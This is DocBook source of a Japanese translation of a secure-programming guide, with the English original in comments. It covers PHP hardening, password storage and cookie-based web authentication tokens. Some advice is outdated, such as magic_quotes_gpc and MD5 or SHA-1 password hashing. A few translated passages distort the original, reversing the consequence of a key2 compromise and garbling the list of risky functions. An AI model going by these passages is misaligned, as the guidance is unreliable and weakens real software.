if you can convince your web hosting service to set ``AllowOverride Options''
in their configuration file (often /etc/http/conf/http.conf) for your
host, do that.
Then write helper functions to simplify loading the data you need
(and only that data).
-->
しかし .htaccess ファイル自体、Apache の Web サーバが設定の上書きを許可して
いなければ、無効になります。Apache 全体の設定は AllowOverride が None と
設定されているのが普通です。
したがって Apache ユーザならば、Web のホスティング・サービスに対して、
「AllowOverride オプション」を設定ファイルに設定するように説得してみてください。
そうできたなら、ヘルパー関数を書いて、必要なデータ(そのデータだけ)をそのまま
ロードしてください。
</para></listitem>

<listitem><para>
<!--
If you must develop software where register_globals might be on while
running (e.g., a widely-deployed PHP application),
always set values not provided by the user.
Don't depend on PHP
default values, and don't trust any variable you haven't explicitly set.
Note that you have to do this for <emphasis>every</emphasis> entry point
(e.g., every PHP program or HTML file using PHP).
The best approach is to begin each PHP program by setting all variables
you'll be using, even if you're simply resetting them to the
usual default values (like "" or 0).
This includes global variables referenced in included files,
even all libraries, transitively.
Unfortunately, this makes this recommendation hard to do, because few
developers truly know and understand all global variables that may be used
by all functions they call.
One lesser alternative is to search through HTTP_GET_VARS, HTTP_POST_VARS,
HTTP_COOKIE_VARS, and HTTP_POST_FILES to see if the user provided the data -
but programmers often forget to check all sources, and what happens if
PHP adds a new data source
(e.g., HTTP_POST_FILES wasn't in old versions of PHP).
-->
register_globals が on になって動いていると思われるところで、ソフトウェアを
開発しなければならないなら(たとえば、あちこちに存在する PHP アプリケーション)、
ユーザが設定していない値を常に設定するようにしてください。
PHP のデフォルト値を前提にしないでください。また自分で確かに設定した変数で
なければ、信用してはいけません。
入口になる<emphasis>どの</emphasis>部分でも、これを行わなければいけません
(たとえば PHP プログラムと PHP を使った HTML ファイルすべて)。
最善の解決策は、PHP プログラムそれぞれに対して、使用する変数すべてに値を設定
することです。ただそれらに普通のデフォルト値("" や 0)を再設定するとしてもです。
これには、実行に必要な include されるファイルに入っているグローバル変数や
ライブラリすべてにも当てはまります。
あいにくこの点が、提案を実行することを困難にしています。それは、開発者の中で
すべてのグローバル変数がすべての関数から利用されるかもしれないという点を本当に
知っていて、理解している人が少ないからです。
それより劣る方法ですが、HTTP_GET_VARS や HTTP_POST_VARS、HTTP_COOKIE_VARS、
HTTP_POST_FILES を捜し出し、ユーザがデータを用意しているが、プログラマが
その情報すべてをチェックし忘れていないかを見つけます。また PHP が新しいデータ
源を追加すると何が起こるかも見つけます(たとえば、HTTP_POST_FILES は古い
バージョンにはありません)。
</para></listitem>

<listitem><para>
<!--
Set the error reporting level to E_ALL, and resolve all errors reported
by it during testing.
Among other things, this will complain about un-initialized variables,
which are a key issues in PHP.
This is a good idea anyway whenever you start using PHP, because
this helps debug programs, too.
There are many ways to set the error reporting level, including in the
``php.ini'' file (global), the ``.htttpd.conf'' file (single-host),
the ``.htaccess'' file (multi-host), or at the top of the script
through the error_reporting function.
I recommend setting the error reporting level in both the php.ini file
and also at the top of the script; that way, you're protected if
(1) you forget to insert the command at the top of the script, or (2) move the
program to another machine and forget to change the php.ini file.
Thus, every PHP program should begin like this:
-->
エラー報告のレベルを E_ALL に設定して、すべてのエラーがテスト中に報告される
ようにしてください。
何よりこの報告には、初期化していない変数についての警告があります。これが PHP 
では重要な問題になります。
とにかく PHP を使いはじめるなら、これは良い考えです。なぜならプログラムを
デバッグするのにも役立つからです。
エラー報告のレベルを設定するのには、いろいろな方法があります。
「php.ini」ファイル(全体)や「.htttpd.conf」ファイル(ホスト 1 台)、
「.htaccess」ファイル(複数ホスト)、もしくはスクリプトのトップレベルで、エラー
報告関数を通して行なう等があります。
推奨するエラー報告レベルの設定方法は、php.ini ファイルとトップレベルの
スクリプト両方で設定する方法です。そうすれば、(1)トップレベルのスクリプトに
コマンドを入れ忘れる(2)プログラムが別のマシンに移動して php.ini ファイルを
変更し忘れる、ということが防げます。
つまり PHP プログラムそれぞれが、下記のようにはじまるべきです。
<programlisting width="66">
  &lt;?php error_reporting(E_ALL);?&gt;
</programlisting>
<!--
It could be argued that this error reporting should be turned on
during development, but turned off when actually run on a real site
(since such error message could give useful information to an attacker).
The problem is that if they're disabled during ``actual use'' it's all
too easy to leave them disabled during development.
So for the moment, I suggest the simple approach of simply including it
in every entrance.
-->
エラーの報告は、開発中に有効にし、本番のサイトでは無効にすべきである、
という点については議論の余地があります(そのようなエラー・メッセージは攻撃者
にとって役に立つ情報を提供する可能性があるからです)。
問題なのは、「実運用する」時に無効にし、そのままの状態で開発中も無効にして
おくことです。
したがって、当面は単純なアプローチを取って、開発、本番それぞれのはじまりに
入れることを推奨します。
</para></listitem>

<listitem><para>
<!--
Filter any user information used to create filenames carefully, in
particular to prevent remote file access.
PHP by default comes with ``remote files'' functionality &#045;&#045; that means
that file-opening commands like fopen(), that in other languages can
only open local files, can actually be used to invoke web or ftp
requests from another site.
-->
ファイル名を作成するのに使われるユーザ情報は、どれも注意深くフィルタして
ください。とりわけリモートファイルへのアクセスは防いでください。
PHP はデフォルトで「リモートファイル」機能がついてきます。つまり、fopen()
のようなファイルをオープンするコマンドが存在しています。他の言語がローカル
ファイルだけをオープンできるのに対して、他のサイトからの Web や ftp の要求
を呼び出すのに実際よく使われます。
</para></listitem>

<listitem><para>
<!--
Do not use old-style PHP file uploads; use the HTTP_POST_FILES array
and related functions.
PHP supports file uploads by uploading the file to some
temporary directory with a special filename.
PHP originally set a colleciton of variables to indicate where that filename
was, but since an attacker can control variable names and their values,
attackers could use that ability to cause great mischief.
Instead, always use HTTP_POST_FILES and related functions to access
uploaded files.
Note that even in this case, PHP's approach permits attackers to
temporarily upload files to you with arbitrary content, which is
risky by itself.
-->
PHP の古い形式でファイルのアップロードをしないでください。HTTP_POST_FILES 
配列とそれに付随した関数を使ってください。
PHP はファイルをアップロードするのに、そのファイルをどこかのテンポラリの
ディレクトリに特定の名前で置いています。
PHP はそもそも、変数の寄せ集めに対して設定を行い、ファイル名がどこにあるか
を示します。しかし、攻撃者は変数名やその値をコントロールするのが可能なので、
その機能を使って、とんでもないことを起こせます。
そのかわりに、HTTP_POST_FILES とそれに付随した関数を使って、アップロード
されたファイルにアクセスしてください。
この解決方法を取ったとしても、 攻撃者が勝手な内容のファイルをテンポラリで
アップロードできてしまいます。これはそれ自体危険です。
</para></listitem>

<listitem><para>
<!--
Only place protected entry points in the document tree; place all
other code (which should be most of it) outside the document tree.
PHP has a history of unfortunate advice on this topic.
Originally, PHP users were supposed to use the ``.inc'' (include)
extension for ``included'' files, but these included files often had
passwords and other information, and Apache would just give requesters
the contents of the ``.inc'' files when asked to do so when they
were in the document tree.
Then developers gave all files a ``.php'' extension - which meant that the
contents weren't seen, but now files never meant to be entry points
became entry points and were sometimes exploitable.
As mentioned earlier, the usual security advice is the best:
place only the proected entry points (files) in the document tree, and
place other code (e.g., libraries) outside the document tree.
There shouldn't be any ``.inc'' files in the document tree at all.
-->
ドキュメントツリーには、保護済みの入口部分だけを入れてください。他のコード
(大部分がそうであるべきですが)は、ドキュメントツリーの外に置いてください。
PHP はこのトピックスについて、残念な報告が過去いろいろありました。
元々は、PHP ユーザは「.inc」(include)拡張子を使って、「含まれる」ファイルを
サポートしてきました。しかし、このファイルにはパスワード他の情報も入ります。
また Apache は「.inc」ファイルがドキュメントツリーにあり、要求がありさえ
すれば、要求者にその内容を与えてしまっていました。
これまで開発者は、すべてのファイルに「.php」という拡張子を付けていました。
これはこのファイルが見られないことを意味します。しかし、入口部分では
なかったファイルが入口になってしまえば、そこが時として悪用されてしまいます。
先程述べたように、セキュリティ上のアドバイスで一番大切な点は、いつも同じです。
ドキュメントツリーには、保護済みの入口部分(ファイル)だけを入れてください。
他のコード(たとえば、ライブラリ)は、ドキュメントツリーの外に置いてください。
どんな「.inc」ファイルもドキュメントツリーには入れないでください。
</para></listitem>

<listitem><para>
<!--
Avoid the session mechanism.
The ``session'' mechanism is handy for storing persistent data, but
its current implementation has many problems.
First, by default sessions store information in temporary files - so
if you're on a multi-hosted system, you open yourself up to many attacks and
revelations.
Even those who aren't currently multi-hosted may find themselves
multi-hosted later!
You can "tie" this information into a database instead of the filesystem,
but if others on a multi-hosted database can access that database with the
same permissions, the problem is the same.
There are also ambiguities if you're not careful
(``is this the session value or an attacker's value''?)
and this is another case where an attacker can force a file or
key to reside
on the server with content of their choosing - a dangerous situation -
and the attacker can even control to some extent the name of the file or key
where this data will be placed.
-->
セッション機構を避けてください。
「セッション」機構は、便利に永続的なデータを保存できますが、現状の実装には
問題点がたくさんあります。
まず、デフォルトではセッションはテンポラリファイルに情報を保存します。
したがって、マルチホストなシステムであると、数ある攻撃や情報流出に対して隙を
見せることになります。
今はマルチホストなシステムではなくても、いつかそうなるとも限りません。
この情報をファイルシステムではなく、データベースと「紐づける」ことも可能
です。しかし、別の人間がマルチホストなデータベース上で同じパーミッションで
データベースにアクセスできるなら、問題は一緒です。
気をつけていないと曖昧になりますし(「セッション値なのか攻撃者が設定した値
なのかわからない)、攻撃者が選んだ内容のファイルや鍵をサーバに無理やりおいて
しまうことも可能です。これは物騒な状況です。また、攻撃者はある程度、ファイル
名や鍵名をどこに置くかをコントロールすることさえ可能です。
</para></listitem>

<listitem><para>
<!--
For all inputs, check that they match a pattern for acceptability
(as with any language), and then use type casting to coerce non-string data
into the type it should have.
Develop ``helper'' functions to easily check and import a selected list
of (expected) inputs.
PHP is loosely typed, and this can cause trouble.
For example, if an input datum has the value "000", it won't be equal to "0"
nor is it empty().
This is particularly important for associative arrays, because their
indexes are strings; this means that $data["000"]
is different than $data["0"].
For example, to make sure $bar has type double (after making sure it
only has the format legal for a double):
-->
入力がアクセスしてかまわないのか、パタンに照らし合わせてすべてチェック
してください(言語と同じように)。そして型変換を使って、文字列ではないデータを
強制的にあるべき型にしてしまってください。
「ヘルパー」関数を開発すればチェックが簡単になり、(予想範囲内の)入力が
選ばれたリストから取り込めます。
PHP は型の制約が緩く、これが問題を起こします。
たとえば、入力データの値が「000」なら、「0」とは等しくなりませんし、empty()
も等しくなりません。
これは連想配列にとって、とりわけ重要です。それはインデックスが文字列だからです。
$data["000"]は $data["0"]とは違うことを意味します。
たとえば、$bar が double 型であると確認しなければいけません(確認した後は、
double 型にとってのみ、正しいフォーマットとなります)。
<programlisting width="66">
  $bar = (double) $bar; 
</programlisting>
</para></listitem>
<listitem><para>
<!--
Be especially careful of risky functions.
This includes those that perform PHP code execution
(e.g., require(), include(), eval(), preg_replace()),
command execution
(e.g., exec(), passthru(), the backtick operator, system(), and popen()),
and open files
(e.g., fopen(), readfile(), and file()).
This is not an exhaustive list!
-->
危険をはらんでいる関数には特に注意を払ってください。
この関数には PHP コードの実行(たとえば、exec()や passthru()、backtick 
演算子、system()、popen())やファイルのオープン(たとえば、fopen()や 
readfile()、file())等があります。
これは完璧なリストではありません。
</para></listitem>
<listitem><para>
<!--
Use magic_quotes_gpc() where appropriate - this eliminates many kinds of
attacks.
-->
適切な場合には、magic_quotes_gpc()を使ってください。いろいろな攻撃を排除
します。
</para></listitem>
</itemizedlist>
</para>
<para>【訳註：原著では、オブジェクト指向スクリプト言語 Ruby にふれていません。
訳註として簡単に Ruby のことにふれたいと思います。
Ruby にはセキュリティモデルが存在しています。
大きくわけて 2 つの危険なケースを想定しています。
1 つは、信頼できないデータを扱う場合、もう 1 つは、信頼できないプログラムを
扱う場合です。
このケースに対応して、レベル 0 から 4 までのセキュリティ・レベルを $SAFE 
というグローバル変数を用いてスレッド単位に設定できます。

ただし注意していただきたいのは、C で書かれた組み込みライブラリ、拡張ライブラリ
いずれとも、すべての汚染をチェックしている保証がない点です。
汚染をチェックするのは、作成者にまかされています。

セキュリティモデルの詳細については、
<ulink
url="http://www.ruby-lang.org/ja/man-1.6/?cmd=view;name=%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3%A5%E2%A5%C7%A5%EB">「オブジェクト指向スクリプト言語 Ruby リファレンスマニュアル」の「セキュリティモデル」</ulink>
を参照してください】
</para>


</sect1>

</chapter>

<chapter id="special">
<!-- <title>Special Topics</title> -->
<title>専門的な話題</title>

<epigraph>
<!-- <attribution>Proverbs 16:22 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 16 章 22 節(NIV)</attribution>
<para>
<!--
Understanding is a fountain of life to those who have it,
but folly brings punishment to fools.
-->
見識ある人にはその見識が命の泉となる。
無知な者には無知が諭しとなる。
</para>
</epigraph>

<sect1 id="passwords">
<!-- <title>Passwords</title> -->
<title>パスワード</title>

<para>
<!--
Where possible, don't write code to handle passwords.
In particular, if the application is local,
try to depend on the normal login authentication by a user.
If the application is a CGI script, try to depend on the web server to provide
the protection as much as possible -
but see below about handling authentication in a web server.
If the application is over a network, avoid sending the password as cleartext
(where possible) since it can
be easily captured by network sniffers and reused later.
``Encrypting'' a password using some key fixed in the algorithm or using
some sort of shrouding algorithm is essentially the same as sending the
password as cleartext.
-->
できるだけパスワードを扱うコードを自前で書かないようにしてください。
特にローカルなアプリケーションの場合、通常行うユーザのログイン認証にまかせて
しまうようにしてください。
アプリケーションが CGI スクリプトの場合、Web サーバが用意している防御に
できるだけまかせてください。
ただし Web サーバにおける認証の扱い方については下記を参照してください。
アプリケーションがネットワーク経由で利用するものなら、平文でパスワードを
送らないでください(できるだけ)。というのは、ネットワークを盗聴することで、
いとも簡単に横取りされて、後で使われてしまうからです。
パスワードを「暗号化」しても、その暗号化アルゴリズムで固定の鍵を使って
いたり、何かしかの非公開アルゴリズムを使っていたりするなら、本質的に平文で
パスワードを送っているのと同じです。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Show _HOW_ to use PAM to do simple password checking; the PAM
     docs are complex on this score.  Also show how to ``fall through''
     if you don't have PAM? -->

<para>
<!--
For networks, consider at least using digest passwords.
Digest passwords are passwords developed from hashes; typically the
server will send the client some data (e.g., date, time, name of server),
the client combines this data with the user password, the client hashes
this value (termed the ``digest pasword'')
and replies just the hashed result to the server;
the server verifies this hash value.
This works, because the password is never actually sent in any form; the
password is just used to derive the hash value.
Digest passwords aren't considered ``encryption'' in
the usual sense and are usually accepted even in countries with laws
constraining encryption for confidentiality.
Digest passwords are vulnerable to active attack threats but
protect against passive network sniffers.
One weakness is that, for digest passwords
to work, the server must have all the unhashed passwords, making the server
a very tempting target for attack.
-->
ネットワークで利用するなら、少なくともダイジェスト・パスワードの使用を考えて
ください。
ダイジェスト・パスワードはハッシュで生成するパスワードです。通常は、サーバが
クライアントに何かデータ(たとえば、日付、時間、サーバ名)を送り、クライアント
はこのデータとユーザのパスワードを組み合わせ、この値(「ダイジェスト・
パスワード」と呼びます)をハッシュします。そしてハッシュした結果をそのまま
サーバに返します。
サーバはこのハッシュ値を検証します。
これはうまくいきます。というのは、パスワードはどんな形でも実際には送られない
からです。パスワードはハッシュ値の元として使われるだけです。
ダイジェスト・パスワードは普通の意味では「暗号」とは見なされませんので、法律
で機密用の暗号に制限を設けている国でも認められています。
ダイジェスト・パスワードは、直接しかけてくる攻撃には弱いのですが、ネットワーク
の盗聴に対しては有効です。
弱点の 1 つに、ダイジェスト・パスワードの動作があります。サーバはハッシュして
いないパスワードをすべて持っていなければならず、これがサーバを攻撃の対象
として魅力あるものにしています。
</para>

<para>
<!--
If your application permits users to set their passwords, check
the passwords and permit only ``good'' passwords
(e.g., not in a dictionary, having certain minimal length, etc.).
You may want to look at information such as
<ulink
url="http://consult.cern.ch/writeup/security/security_3.html">http://consult.cern.ch/writeup/security/security_3.html</ulink>
on how to choose a good password.
You should use PAM if you can, because it supports pluggable password checkers.
-->
アプリケーションでユーザがパスワードを設定できるのなら、パスワードをチェック
して、「適切な」パスワードだけを許可してください(辞書に載っていない、一定
以上の文字数である、等)。
適切なパスワードの付け方を見つけたいなら、
<ulink
url="http://consult.cern.ch/writeup/security/security_3.html">http://consult.cern.ch/writeup/security/security_3.html</ulink>
を見てはどうでしょうか。
PAM が使えるなら利用しましょう。交換可能なパスワード検証機能がサポートされる
からです。
</para>
</sect1>

<sect1 id="web-authentication">
<!-- <title>Authenticating on the Web</title> -->
<title>Web の認証</title>
<para>
<!--
On the web, a web server is usually authenticated to users by using SSL or TLS
and a server certificate - but it's not as easy to authenticate who
the users are.
SSL and TLS do support client-side certificates, but there are many practical
problems with actually using them (e.g., web browsers don't support a single
user certificate format and users find it difficult to install them).
Using Java or Javascript has its own problems, since many users disable them,
some firewalls filter them out, and they tend to be slow.
In most cases, requiring every user to install a plug-in is impractical too,
though if the system is only for an intranet for a relatively
small number of users this may be appropriate.
-->
Web の世界では Web サーバは通常ユーザ認証をするのに SSL もしくは TLS を使い、
サーバ側が認証しています。しかしユーザが誰なのかの認証は、簡単なことではあり
ません。
SSL や TLS はクライアント側の認証ですが、実際に使用するに当たって、問題を
たくさん抱えています(たとえば、Web ブラウザは共通のユーザ認証形式をサポート
しておらず、ユーザがインストールするのは面倒です)。
Java や Javascript を使うと、それ自身に問題があります。それは、ユーザの多くが
無効にしていたり、ファイアーウォールにフィルタをかけていたりするからです。
そして、どちらかというと遅くなります。
たいていの場合、ユーザ毎にプラグインをインストールするのは非現実的でもあり
ます。しかし、システムが比較的ユーザが少ないイントラネット向けなら、この
方法は適切かもしれません。
</para>

<para>
<!--
If you're building an intranet application, you should generally use
whatever authentication system is used by your users.
Thus, if they depend on Kerberos, design your system to use Kerberos.
Try to separate the authentication system from the rest of your application,
since the organization may (will!) change their authentication system over
time.
-->
イントラネット用のアプリケーションを構築しているなら、通常は認証システムが
何であれ、ユーザが利用しているものを使った方がよいでしょう。
つまり、ユーザが Kerberos に依存しているなら、システムは Kerberos を使うように
設計してください。
認証システムは、アプリケーションの他の部分から独立させておいてください。
組織というものは、そのうち認証システムを変更するかもしれないからです(変更
したがります)。
</para>

<para>
<!--
Many techniques don't work or don't work very well.
One approach that works in some cases
is to use ``basic authentication'', which is built into
essentially all browsers and servers.
Unfortunately, basic authentication sends passwords unencrypted, so it
makes passwords easy to steal; basic authentication by itself is really
useful only for worthless information.
You could wrap all basic authentication passwords in
an SSL/TLS connection (which would encrypt it), but this hurts performance.
You could also use ``digest authentication'', which is a good technique
but not universally supported by browsers.
You could store authentication information in the URLs selected by the users,
but for most circumstances you shouldn't do this - there are too many ways that
this information can leak to others
(e.g., through the browser history logs stored by many browsers,
logs of proxies, and to other web sites through the Referer: field).
-->
テクニックには、機能しないか、動作してもうまくいかないものがたくさんあります。
「ベーシック認証」という方法を使うとうまくいく場合があります。この方法は
すべてのブラウザやサーバで基本的に備わっています。
うまくないことに、ベーシック認証はパスワードを暗号化せずに送ります。したがって
パスワードを盗み取るのは本当に簡単です。ベーシック認証はたいして重要ではない
情報を扱うだけなら、単独で十分役に立ちます。
ベーシック認証のパスワードを SSL や TLS 通信(暗号化します)ですべて被せて
しまえます。しかしこれはパフォーマンスを犠牲にします。
「ダイジェスト認証」という手も使えます。これは優れた手法ですが、ブラウザが広く
サポートしているわけではありません。
認証情報をユーザが選んだ URL に入れることもできますが、そうしてはいけない状況
がほとんどです。この情報をリークする方法はあまりにたくさん存在します(たとえば、
ブラウザの多くが保存している履歴ログやプロクシのログ、そして Referer: 
フィールド経由で他の Web サイトを使って)。
</para>

<para>
<!--
Thus, the most common technique for authenticating on the web today is
through cookies.
Cookies weren't really designed for this purpose, but they can be used
for authentication - but there are many wrong ways to use them that
create security vulnerabilities, so be careful.
For more information about cookies, see IETF RFC 2965, along with the
older specifications about them.
Note that to use cookies, some browsers (e.g., Microsoft
Internet Explorer 6) may insist that you
have a privacy profile (named p3p.xml on the root directory of the server).
-->
そういう訳で、今日 Web で最も良く使われている認証方法は、クッキーを利用した
ものです。
クッキーは、認証のために設計されたわけではありません。しかし認証目的にも
使うことができます。しかし使い方を誤れば、セキュリティの脆弱さをさらして
しまいます。注意してください。
クッキーについて詳しい情報は、IETF RFC 2965 を以前の仕様書とともに見てください。
クッキーを使う場合に、ブラウザには(たとえば、Microsoft Internet Explorer 6)
プライバシー・プロファイル(p3p.xml という名前で、サーバのルートディレクリに
存在します)を強要するものもあります。
</para>

<para>
<!--
Note that some users don't accept cookies, so this solution still has
some problems.
Ideally, you should use send this authentication information back and forth via
HTML form hidden fields
(since nearly all browsers support them without concern).
You'd use the same approach as with cookies - you'd just use a different
technology to have the data sent from the user to the server.
Naturally, if you implement this approach, you need to include settings to
ensure that these pages aren't cached for use by others.
However, while I think avoiding cookies
is preferable, in practice these other approaches often require
much more development effort.
Since it's so hard to implement this on a large scale for many
application developers, I'm not currently stressing these approaches.
I would rather describe an approach that is reasonably secure and
reasonably easy to implement, than emphasize approaches that are too
hard to implement correctly (by either developers or users).
However, if you can do so without much effort, by all means support
sending the authentication information using form hidden fields and
an encrypted link (e.g., SSL/TLS).
-->
ユーザにはクッキーを受け取らない人もいて、この解決方法ではまだ問題がある
点を気に留めておいてください。
欲を言えば、この認証情報は HTML フォームの hidden フィールドを経由して
やり取りすべきです(大部分のブラウザでサポートしていますので心配無用です)。
これまでまったく違った技術を用いて、データをユーザからサーバに送っていた
としても、クッキーと同じような解決方法を使ってきていると思います。
もちろんこの解決方法を実現するなら、それらのページのキャッシュが、第三者に
絶対に使われないようにする設定が必要になります。
クッキーを使わない方が望ましいとは思いますが、その他の解決方法では実際には
さらに多くの開発負荷がかかります。
そのため、多数のアプリケーション開発者が皆そろって実行するのは困難なので、
今はこの解決方法を強くお薦めはしません。
正しく使うのがあまりにも難しい方法(開発者もユーザも)よりも、それなりに安全
で、それなりに使いやすい方法について説明したいと思います。
しかしそれほど苦労なくできるなら、ぜひとも認証情報をフォームの hidden 
フィールドと暗号化したリンクを使って送ってください(たとえば、SSL や TLS)。
</para>

<para>
<!--
Fu [2001] discusses client authentication on the web, along with a
suggested approach, and this is the approach I suggest for most sites.
The basic idea is that client authentication is split into two parts,
a ``login procedure'' and ``subsequent requests.''
In the login procedure, the server asks for the user's username and password,
the user provides them, and the server replies with an
``authentication token''.
In the subsequent requests, the client (web browser)
sends the authentication token
to the server (along with its request); the server verifies that the 
token is valid, and if it is, services the request.
Another good source of information about web authentication is
Seifried [2001].
-->
Fu [2001] では、Web におけるクライアント側の認証について論じています。
これまでに推奨した方法と並んで、ほとんどのサイトでお薦めできる方法です。
これの基本的な考え方は、クライアント側の認証には「ログイン手続き」と
「その後に続く要求」の2 つに分けられるという考え方です。
ログイン手続きでは、サーバはユーザにユーザ名とパスワードを求め、ユーザは
それらを提供し、サーバはそれに対して「認証トークン」で答えます。
引き続き起こる要求で、クライアント(Web ブラウザ)は認証トークンをサーバに
(リクエストと同様に)送ります。サーバはトークンが正当なものか確認し、正当
なものなら要求をかなえます。
Seifried [2001]は、Web での認証について Fu [2001]に匹敵する情報です。
</para>

<sect2 id="web-authentication-login">
<!-- <title>Authenticating on the Web: Logging In</title> -->
<title>Web の認証――ログイン</title>
<para>
<!--
The login procedure is typically implemented as an HTML form;
I suggest using the field names ``username'' and ``password'' so that
web browsers can automatically perform some useful actions.
Make sure that the password is sent over an encrypted connection
(using SSL or TLS, through an https: connection) - otherwise, eavesdroppers
could collect the password.
Make sure all password text fields are marked as passwords, so that
the password text is not visible to anyone who can see the user's screen.
-->
ログイン手続きは通常 HTML のフォームを使って実装しています。
そのフィールド名には、「username」や「password」が適切です。
そうしておけば、Web ブラウザは自動的にうまい具合に動作をしてくれます。
パスワードは、必ず暗号化された通信で送られるようにしてください(https を使った 
SSL や TLS を利用した通信)。さもないと盗聴する人がパスワードを収集できて
しまいます。
パスワードを入力するテキストフィールドはすべて、パスワードを扱うものとして
作成してください。そうすればパスワードのテキストはユーザ画面が見られる人
誰もが読めなくなります。
</para>

<para>
<!--
When the username and password is sent, it must be checked against
the user account database.
This database shouldn't store the passwords ``in the clear'', since if
someone got a copy of the this database they'd suddenly get everyone's
password (and users often reuse passwords).
Some use crypt() to handle this, but crypt can only handle a small
input, so I recommend using a different approach (this is my approach -
Fu [2001] doesn't discuss this).
Instead, the user database should store a username, salt, and 
the password hash for that user.
The ``salt'' is just a random sequence of characters, used to make it
harder for attackers to determine a password even if they get the
password database - I suggest an 8-character random sequence.
It doesn't need to be cryptographically random, just different from
other users.
The password hash should be computed by concatenating
``server key1'', the user's password, and the salt, and
then running a cryptographically secure hash algorithm.
Server key1 is a secret key unique to this server - keep it separate
from the password database.
Someone who has server key1 could then run programs to crack user
passwords if they also had the password database;
since it doesn't need to be memorized, it can be a long and complex
password.
Most secure would be HMAC-SHA-1 or HMAC-MD5;
you could use SHA-1 (most web sites aren't really worried about
the attacks it allows) or MD5 (but see the discussion about MD5).
-->
ユーザ名とパスワードが送られてきた時には、ユーザ・アカウントのデータベースを
チェックしてください。
このデータベースには、パスワードを「平文」で保存しないでください。誰かがこの
データベースをコピーしてしまえば、またたく間にすべての人間のパスワードを
手に入れられます(おまけにユーザはよくパスワードを使いまわしします)。
crypt()を使って平文を扱う場合もありますが、crypt はちょっとした入力だけしか
扱えませんので、別の方法を使用することをお薦めします(これは私の解決方法で、
Fu [2001]ではこの点を論じていません)。
そのかわりに、ユーザ・アカウントのデータベースでは、ユーザ名とサルト(salt)
そのユーザに対してのパスワードのハッシュを入れてください。
サルトはランダム・シーケンスな文字列で、攻撃者がパスワードの入ったデータベース
を入手したとしても、パスワードを割り出すのが困難にするために使われます。
8 文字のランダム・シーケンスをお薦めします。これは暗号的にランダムである
必要はありません。ただし他のユーザとは違った値にしてください。
パスワードのハッシュは、「server key1」とユーザのパスワード、サルトをつなげて
計算する必要があります。計算するのには、暗号的に安全なハッシュをつくる
アルゴリズムを用います。
server key1 は秘密鍵で、このサーバに一意に与えられたものです。この鍵は
パスワードのデータベースとは別にしておいてください。
誰かが server key1 とパスワードの入ったデータベースを手に入れれば、プログラム
を動かしてユーザのパスワードをクラックできます。
パスワードを記憶しておく必要はありませんので、長くて複雑なものにしておけます。
最も安全なのは HMAC-SHA-1 か HMAC-MD5 です。
SHA-1(SHA-1 を使うことで可能となる攻撃を、たいていの Web サイトではそれほど
心配していません) や MD5(後述の MD5 についての議論を見てください) も利用
できます。
</para>

<para>
<!--
Thus, when users create their accounts, the password is hashed and
placed in the password database.
When users try to log in, the purported password is hashed and compared
against the hash in the database (they must be equal).
When users change their password, they should type in both the old
and new password, and the new password twice (to make sure they didn't
mistype it); and again, make sure none of these password's characters
are visible on the screen.
-->
このように、ユーザがアカウントを作成する時、パスワードはハッシュされ、
パスワードを入れるデータベースへと登録します。
ユーザがログインしようとすると、パスワードとして入力されたものがハッシュ
され、データベースにあるハッシュと比較します(等しくなければいけません)。
ユーザがパスワードを変更する時には、古いものと新しいもの両方を入力します。
新しいパスワードは 2 回入力します(ミスタイプしないように)。また一方で、
パスワード文字列が画面に出ないことを確認してください。
</para>

<para>
<!--
By default, don't save the passwords themselves on the client's
web browser using cookies - users may sometimes use shared clients
(say at some coffee shop).
If you want, you can give users the option of ``saving the password''
on their browser, but if you do, make sure that the password is set to
only be transmitted on ``secure'' connections, and make sure the user has
to specifically request it (don't do this by default).
-->
デフォルトで、クッキーを使ってパスワード自体をクライアント側のブラウザ
に保存しないでください。ユーザはクライアントを共同で利用している時が
あるかもしれません(たとえば、インターネットカフェのように)。
望むなら、ユーザにブラウザで「パスワードを保存する」選択を与えることも
できますが、そうするなら、パスワードは必ず「安全な」接続の伝送にだけ
使うようにしてください。またユーザがパスワードを保存することを確かに
望んでいるかを確認してください(デフォルトにしてはいけません)。
</para>

<para>
<!--
Make sure that the page is marked to not be cached, or a proxy
server might re-serve that page to other users.
-->
よく利用するページが決してキャッシュされないようにしてください。プロクシ
サーバが他人にそのページを見せないようにしてください。
</para>

<para>
<!--
Once a user successfully logs in, the server needs to send the client
an ``authentication token'' in a cookie, which is described next.
-->
ユーザがログインに成功したなら、サーバはクライアントに「認証トークン」を
クッキーで送る必要があります。この点については次で述べます。
</para>

</sect2>

<sect2 id="web-authentication-subsequent">
<!-- <title>Authenticating on the Web: Subsequent Actions</title> -->
<title>Web の認証 ログイン後の動作</title>
<para>
<!--
Once a user logs in, the server sends back to the client a cookie
with an authentication token.
A suggested token would look like this:
-->
ユーザがログインすると、サーバはクライアントに認証トークンとして
クッキーを送り返します。
推奨するトークンは下記のようになります。
<programlisting>
  exp=t&amp;data=s&amp;digest=m
</programlisting>
<!--
Where t is the expiration time of the token (say, in several hours),
data (say, the user name or session id), and the digest is a keyed digest.
Feel free to change the field name of ``data'' to be more descriptive
(e.g., username or sessionid).
The keyed digest should be a cryptographic
hash of the expiration time and the data concatenated.
If you have more than one field of data (e.g., both a username and a
sessionid), make sure the digest uses both the field names and data values
of all fields you're authenticating; concatenate them with a pattern
(say ``%%'', ``+'', or ``&amp;'')
that can't occur in any of the field data values.
The keyed digest should use HMAC-MD5 or HMAC-SHA1, using a different server
key (key2).
If this key2 is compromised, anyone can authenticate to the server, but
it's easy to change key2 - when you do, it'll simply force currently
``logged in'' users to re-authenticate.
See Fu [2001] for more details.
-->
t はトークンの有効期限(たとえば、数時間)とdata(たとえば、ユーザ名や
セッション ID)が入り、digest には鍵化したダイジェストが入ります。
「data」のフィールド名は変更自由で、もっとわかりやすい名前(たとえば、
username や sessionid)にしてもかまいません)。
鍵化したダイジェストは、有効期限を暗号化したハッシュとデータを連結したもの
にしてください。
データ・フィールドが 2 つ以上あるなら(たとえば、username と sessionid 両方)、
ダイジェストには認証をしているすべてのフィールドのフィールド名とデータ値を
使うようにしてください。それらをあるパタンで連結してください(「%%」や「+」、
「&amp;」)。またそのパタンがデータ値としてどのフィールドにも現れないように
してください。
鍵化したダイジェストは、HMAC-MD5 か HMAC-SHA1 を使うようにして、別のサーバ側
の鍵(key2)を用いてください。
この key2 が信頼できないと、誰もサーバ側で認証できなくなります。しかし 
key2 を変更するのは簡単です。変更した時は、「ログインした」ユーザに再認証を
させればよいだけです。
詳しくは Fu [2001] を見てください。
</para>

